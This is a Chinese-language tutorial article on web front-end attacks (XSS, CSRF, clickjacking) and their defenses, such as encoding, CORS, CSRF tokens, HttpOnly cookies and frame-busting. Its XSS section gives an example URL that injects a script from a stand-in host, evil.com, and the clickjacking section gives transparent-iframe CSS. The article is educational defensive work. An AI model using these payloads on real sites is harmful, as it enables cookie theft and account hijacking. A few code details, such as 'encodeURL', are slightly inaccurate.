前言
随着网络的快速普及,网络安全问题的受害者不再只是政府、企业等集体,每一个接触网络的普通人都有可能成为网络攻击的受害者。随着网络的普及,黑客进行网络攻击的手段越来也多,越来越复杂。以网站的攻击为例,据国家计算机网络应急技术处理协调中心的统计,一年中五个政府网站里就会有一个被入侵,而且入侵的数量每年都在以两倍多的速度增加。网络攻击的数量增加,除了攻击者的数量和攻击水平的增加之外,很多网络服务器端防护水平低也助长了网络的攻击。最近几年,很多网站的安全漏洞造成了用户个人信息的泄露,很多普通用户受到了经济上的损失。在国内著名的漏洞报告平台-乌云网 上,会持续报告很多的网络漏洞。从网站上公开的漏洞报告可以看出,即使是大的、有科技实力的网络服务商,在其提供的网络产品中也经常会存在致命的漏洞。可见国内的网络安全问题很突出。黑客攻击网站的主要手段有SQL注入、网络钓鱼、跨站攻击、拒绝服务攻击等。当然,网站的维护者也有很多防范的手段,比如构建强大的防火墙等。只是,只有网站本身具有高安全性,才能更好地抵挡各种复杂的攻击,而这就要求网站的开发者在开发网站时遵循一定的安全规范了。
从网站的前后端的角度来说,后端是安全防范的重中之重,网站的后端承载着网站中的重要信息,比如用户账号、密码信息、信用卡等,以及其他重要信息。这些信息是攻击者最希望得到的信息。但是由于前端业务逻辑越来越多,越来越复杂,针对前端的恶意攻击也越来越多了。前端的HTML、JavaScript、CSS、Flash等技术变成了前端攻击者和开发者的战场,网站安全问题也开始向前端倾斜。
常见的Web前端攻击方式
要搞清楚如何防范Web前端攻击,首先要了解常见的Web前端攻击手段或方法。目前,攻击网站前端的主要方式有如下几种:
1. XSS
XSS是Cross Site Scripting
的缩写,即跨站点脚本攻击。XSS发生在用户的浏览器端,即当用户在加载HTML文档时执行了非预期的恶意脚本。这些恶意的脚本一般来自于第三方域,带有一定的危害性,恶意脚本的执行会导致用户敏感数据的泄露或者诱导用户错误操作。浏览器的同源策略并没有限制页面中加载第三方的脚本,所以给了攻击者一些可乘之机。一个典型的案例是这样的,攻击者发现到网站中有注入脚本的漏洞,比如没有针对用户输入的内容作验证或转义,而是直接在页面上显示了输入的内容,于是他们恶意输入一段有攻击性的脚本,使其在页面上执行。这些恶意脚本会修改页面的内容,并诱导用户操作已经被修改过的页面,从而盗取用户的Cookie信息。如下的代码演示了一个典型的XSS攻击。
如果网站的前端代码中有如下的代码段:
<script>
eval(location.hash.substr(1));
</script>
攻击者发现页面上有这样的代码,则可以构建如下的URL:
http://host/test.html#document.write("<script/src=//www.evil.com/evil.js></script>”)
以这样的方式,攻击者在目标网站上就注入了一个外部的JavaScript文件,如果攻击者在这个外部文件中编写恶意的代码,比如取得Cookie信息等,就可控制用户在被攻击网站上的账号权限了。
总结XSS攻击的特点就是:尽一切办法在目标网站上执行非目标网站上原有的脚本。
2. CSRF
CSRF是Cross Site Request Forgery
,翻译为跨站请求伪造。CSRF的概念很容易和XSS混淆。CSRF和XSS攻击都是发起各种请求,但对CSRF来说,请求是来源于其他网站的,即为跨站的请求。并且这个请求并不是来自于用户的意愿,而是伪造的请求,诱导用户发起的请求。如下是一个CSRF攻击的典型过程。
假设网站a有个页面是通过GET请求来删除数据的,使用的URL如下:
http://www.a.com/del?id=21
攻击者就可以利用这一点,构建一个页面并创建一个指向此链接的iframe、img或者script等标签。相当于伪造了一个GET请求。
此后,攻击者把新构建页面的地址发布出去,添加一些吸引眼球的消息,诱骗目标用户打开此页面。用户打开此页面就相当于间接地完成了删除数据的操作。
可以看到这个CSRF攻击的过程明显不同于XSS攻击,这个攻击可以没有任何的JavaScript参与。当然,如果想要利用JavaScript脚本代码也是可以的,比如利用JavaScript代码来动态构建form表单,并发起一个针对目标网站的POST请求,从而达到攻击目标网站的目的。
3. 界面操作劫持
界面操作劫持是最近几年才兴起的Web前端攻击方式,Twitter、Facebook等大型网站都受到过此类的攻击。从用户操作行为上可以把界面操作劫持分为点击劫持和拖放劫持两种,这两种劫持的形式从字面上很好理解,分别是在用户点击和拖动操作时发生的劫持攻击事件。
界面操作劫持是利用视觉欺骗,诱导用户操作。比如在可见的输入框中覆盖一个不可见的框(如一个不可见的iframe),用户点击输入框时,其实是点击了不可见框中的内容,从而让用户做出了一些非自己意愿的操作。这些操作有可能造成了用户敏感信息的泄露、数据丢失等后果。
使用前端技术很容易实现一个不可见且浮在最上层的iframe窗口,如下的样式代码展示了其具体的实现:
filter:alpha(opacity=0);
opacity:0;
z-index: 100;
上述代码设置了窗口的透明度为0,即窗口完全透明,假设页面中所有的元素设置的z-index样式都比100小,则z-index为100的iframe窗口就会浮到页面的最上层,意味着页面上的鼠标操作首先会操作到iframe窗口里面的内容,尽管操作者以为操作的是iframe窗口覆盖的区域,即实现了视觉上的欺骗。所以界面操作劫持并不是具有高技术含量的攻击方式,一般通过设计足够吸引用户操作的页面就可以了。
以上就是目前常见的三种针对前端页面攻击的手段,虽然前端页面成为了Web攻击的主要入口之一,但前端开发者针对这些攻击的防范还远远不够,防范意识也很淡薄。那么我们应该如何防范呢?
如何防范Web前端攻击
1. 不要信任任何外部传入的数据
防范Web前端攻击的一个重要的常识是:永远也不要相信用户输入的数据,一定要针对用户输入作相关的格式检查、过滤等操作,防止任何可能的前端注入。如下所列的是在前端开发中应用的具体实践方法。
不要信任用户输入的内容
大部分的网站中都有和用户输入交互,或者是通过URL传递输入等功能模块存在,这些输入的入口,也给了攻击者可乘之机,XSS攻击就是利用这些入口来攻击网站的。预防攻击的方式其实并不复杂,只要在所有的这些入口添加必要的输入校验和过滤即可。具体来说,就是针对用户输入内容进行html编码、html标签属性编码、JavaScript编码、CSS编码、URL编码。
如果项目中使用了jQuery框架,那么以上的编码过滤操作就会变得简单多了,jQuery内置的DOM操作接口已经针对输入的内容作了相应的编码处理,比如,显示用户输入的内容时使用$('...').text(data)
而非$('...').html(data)
、使用$('...').attr()
添加属性、使用$('...').css()
添加样式等。至于URL编码,则直接使用原生函数encodeURL
。
如果期望更灵活地控制输入内容,则可以使用jQuery插件jqencoder。如下是此插件提供的各种编码接口:
$.encoder.encodeForHTML()
$.encoder.encodeForHTMLAttribute()
$.encoder.encodeForJavaScript()
$.encoder.encodeForCSS()
$.encoder.encodeForURL()
除了必要的数据检查过滤之外,也应该尽量避免使用一些有安全隐患的函数调用方式,比如避免使用eval
、setInterval
、setTimeout
等函数直接运行输入的内容。
不要信任在任何传入的第三方数据
在前端开发设计中,经常会加载第三方传入的数据。但由于浏览器同源策略的限制,JavaScript是不能直接加载第三方域的数据的,不过,有几种常用的技术可以绕过这样的限制。其中,传统的方式是通过使用JSONP ,这项技术利用了浏览器可以加载第三方JavaScript脚本的特性。假设A网站请求B网站的数据,则A会在页面中通过script标签请求B网站的一个脚本文件,并在文件的URL中传入一个回调函数名,B网站收到请求后会把要传输的数据和A网站传入的回调函数组合为一个函数调用代码返回给A网站,传输的数据则作为回调函数的参数。A网站引用脚本的方式类似如下:
<script src="http://server2.example.com/RetrieveUser?UserId=1823&jsonp=parseResponse">
</script>
上述代码中parseResponse为传入的回调函数名称,B网站组合后返回的代码类似如下:
parseResponse({"Name": "Cheeso", "Id" : 1823, "Rank": 7})
以上示例代码来自于JSONP对应的维基百科页面。JSONP虽然很巧妙地做到了跨域的数据传输,但这种方式也存在安全隐患。正常情况下第三方网站传输给回调函数的数据为JSON格式,但如果第三方网站受到攻击,使得其返回的数据包含有恶意代码,而不是正常的JSON格式数据,那么执行这些返回的恶意代码就会导致不可预期的攻击。所以如果网站中使用了JSONP技术,则一定要检查从第三方返回的数据格式。验证方法很简单,验证返回数据的属性名是否为预期的名称,验证属性值是否在预期的范围内。数据提供方(第三方)更容易会受到恶意的攻击,比如通过构造非法的callback函数名来达到XSS攻击的目的。防范的办法是过滤callback函数名中的非法字符。同时,也要防止针对数据提供方的大量恶意请求攻击,即DdoS攻击 。这种攻击的手段是利用合理的服务请求来占用过多的服务资源。解决的办法是利用白名单或者Cookie Token来作限制。一个更安全的方式是使用新标准HTML5中引入的CORS,这项技术在国内还很少使用,但在国外使用的例子已经有很多了。JSONP技术提供的跨域数据访问钻了同源策略的空子,算是技巧性的方案,而CORS则是从规范上专门定义的一项跨域数据访问的技术。CORS比JSONP更先进和可靠,并且已经得到了主流浏览器的支持。JSONP只能用GET请求,而CORS不受这样的限制,甚至可以通过AJAX发起请求。CORS主要的原理是在服务器端设置Access-Control-Allow-Origin头,从而限定了服务请求的发起端。如下是一个设置的示例:
Access-Control-Allow-Origin: http://www.dang-jian.com
此设置意味着从www.dang-jian.com网站发起的跨域请求会得到允许。CORS虽然比JSONP更可靠,但是也要遵守一些安全的规范。比如,Access-Control-Allow-Origin
头应该设置在最小的范围内,尽量不要设置为*,即允许所有的跨域请求。数据接收方在接受到数据后,一定要进行必要的数据格式和完整性校验,并把返回的内容作为数据而不是代码,从而避免恶意数据的攻击。
HTML5规范中也引入了另外一个跨域数据传输的方案,即使用window.postMessage接口。使用示例如下:
popup.postMessage("这是传输的数据",
"https://secure.example.net");
然后在目标页面中添加如下的代码:
function receiveMessage(event) {
if (event.origin !== "http://example.org") {
return
// event.source 指向popup
// event.data 的内容是 "这是传输的数据"
}
}
window.addEventListener("message", receiveMessage, false);
当数据源网页调用postMessage接口发送数据到目标页面时,目标网页的message事件被触发,并在事件对象event上包含了传输的数据。使用postMessage时需要注意的地方和使用CORS时的类似,设置数据接受方时不要设置为*号,应设置为特定的地址。同时,数据接收方应该检查数据来源地址并校验接受的数据。不要通过跨域来传输代码,避免恶意代码的执行。如果网站不需要接受任何数据,则不要绑定message事件。
以上这几种防范跨站攻击的手段最适合用于网站提供对外接口的情形,如果网站不提供对外接口,则防范办法就不用那么麻烦了,有一些常规手段可以使用。比如每次请求都额外添加前后端都约定好加密token。这样的插件有很多,也可以自己实现。如果项目是基于NodeJS和Express,则推荐使用csurf中间件,这个中间件专门用于防范CSRF攻击,可以查看其官方网站获得更多信息。
不要仅仅靠JavaScript代码来阻止注入
如果用户输入的数据要保存到后端数据库中,则仅仅依靠JavaScript代码来校验用户输入的数据是不够的。因为JavaScript代码本身太容易被攻击者拦截和修改了,用户甚至可以不通过页面而直接和后端连接,所以在后端的代码中也需要进行必要的数据校验操作,并且检查校验的力度比前端要更严格。
2. 其他前端安全防范实践
更安全地使用Cookie
在很多的网站中,Cookie是用来持久化用户在网站中的登录的。所以如果取得了Cookie就可以劫持用户在网站上的权限。前端XSS攻击的其中一个目标就是取得Cookie信息,这也是Cookie泄露的最主要方式。避免这种泄露的最有效方式是设置Cookie为HttpOnly,即禁止了JavaScript操作Cookie,这样一来,前端XSS攻击时就不能通过JavaScript获取Cookie的信息了。HttpOnly Cookie基本上得到了所有浏览器的支持,所以推荐在项目中使用。在网站中使用JavaScript操作Cookie是一种不安全的做法,所以如果遇到需要通过此方式来传递和保存数据的情况,就应该尝试使用其他更安全的代替方案,比如使用HTML5中的LocalStorage。
除了给Cookie设置HttpOnly之外,还有另外一个和安全相关的设置,即Secure。设置了Secure的Cookie只能在浏览器使用HTTPS请求时被发送到服务器端。如果Cookie中包含有敏感信息这将非常有用。如果站点使用了SSL,则应该启用Cookie的Secure设置。
Cookie的另外两个常用的设置是domain(域)和path(路径),这两个设置是用来确定Cookie作用域范围的。通常情况下是不需要设置这两个属性的,但如果在代码中设置了这两个属性,则应该把范围设置为最小值,避免在不相关的路径或者域中访问到Cookie。
防止网页被其他网站内嵌为iframe
在上一节介绍前端攻击手段时,介绍过界面操作劫持攻击。这种攻击正是利用了在网页中内嵌一个透明的iframe来达到欺骗用户的目的的。所以,为了避免这样的攻击,就要让网页不能够被其他网站内嵌。传统的方式是使用Javascript代码来阻止网页被其他网页嵌套,首先在页面中添加如下的样式:
<style id="antiClickjack">body{display:none !important;}</style>
同时添加类似如下的JavaScript代码:
<script type="text/javascript">
if (self === top) {
var antiClickjack = document.getElementById("antiClickjack");
antiClickjack.parentNode.removeChild(antiClickjack);
} else {
top.location = self.location;
}
</script>
如上的代码首先设置了整个页面不可见,随后在JavaScript代码中检测页面是否被内嵌。如果没有被内嵌,则移除设置页面不可见的样式,否则把顶层页面的地址设置为内嵌页面的地址,从而阻止了页面的内嵌。
浏览器也支持通过设置X-Frame-Options 响应头来控制页面被其他页面内嵌。X-Frame-Options有三种设置选项:deny、sameorigin以及allowfrom url。分别表示禁止、允许相同域及特定URL页面内嵌此页面。目前只有allowfrom选项存在浏览器兼容问题,其他两种选项都得到了大部分浏览器的支持。所以从浏览器兼容性上来说,脚本的方式是目前用来阻止网页被内嵌的最佳方式。当然,如果网站仅仅是要禁止被内嵌,则设置X-Frame-Options是最简单有效的方案。
所谓道高一尺,魔高一丈。安全问题会随着时间的推移出现新的攻击方式,所以开发者需要在编写前端代码时保持安全意识,不断加强防范手段。